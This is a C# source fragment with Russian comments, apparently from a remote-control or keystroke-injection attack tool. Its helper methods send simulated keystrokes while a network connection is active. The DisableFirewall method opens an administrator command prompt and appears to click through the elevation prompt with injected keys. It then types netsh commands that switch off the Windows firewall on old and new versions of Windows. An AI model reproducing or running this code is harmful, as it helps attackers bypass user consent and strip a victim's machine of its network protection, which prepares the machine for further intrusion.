// Enter internal static void Enter() { if (Network.ConnectionAlive) { ScanCode.SendKeyEx(0x1C); } }
// Ctrl+V internal static void CtrlV() { if (Network.ConnectionAlive) { ScanCode.SendKeyOn(0x1D); ScanCode.SendKey(0x2F); ScanCode.SendKeyOff(0x1D); } }
// Alt+Shift internal static void AltShift() { if (Network.ConnectionAlive) { ScanCode.SendKeyOn(0x38); ScanCode.SendKey(0x2A); ScanCode.SendKeyOff(0x38); } }
// Win+M internal static void WinM() { if (Network.ConnectionAlive) { ScanCode.SendKeyExOn(0x5B); ScanCode.SendKey(0x32); ScanCode.SendKeyExOff(0x5B); } }
// Отключение брендмауэра internal static void DisableFirewall(int timeout) { // Открываем командную строку с правами администратора OpenCmdAsAdmin(timeout); // Стрелка влево ScanCode.SendKeyEx(0x4B); Thread.Sleep(timeout); Enter(); Thread.Sleep(timeout); // Отключаем брендмауэр для старых версий Windows Unicode.SendString("netsh firewall set opmode disable"); Enter(); Thread.Sleep(timeout); // Отключаем брендмауэр для новых версий Windows Unicode.SendString("netsh advfirewall set allprofiles state off"); Enter(); Thread.Sleep(timeout); // Очищаем командную строку ClearCmd(timeout); }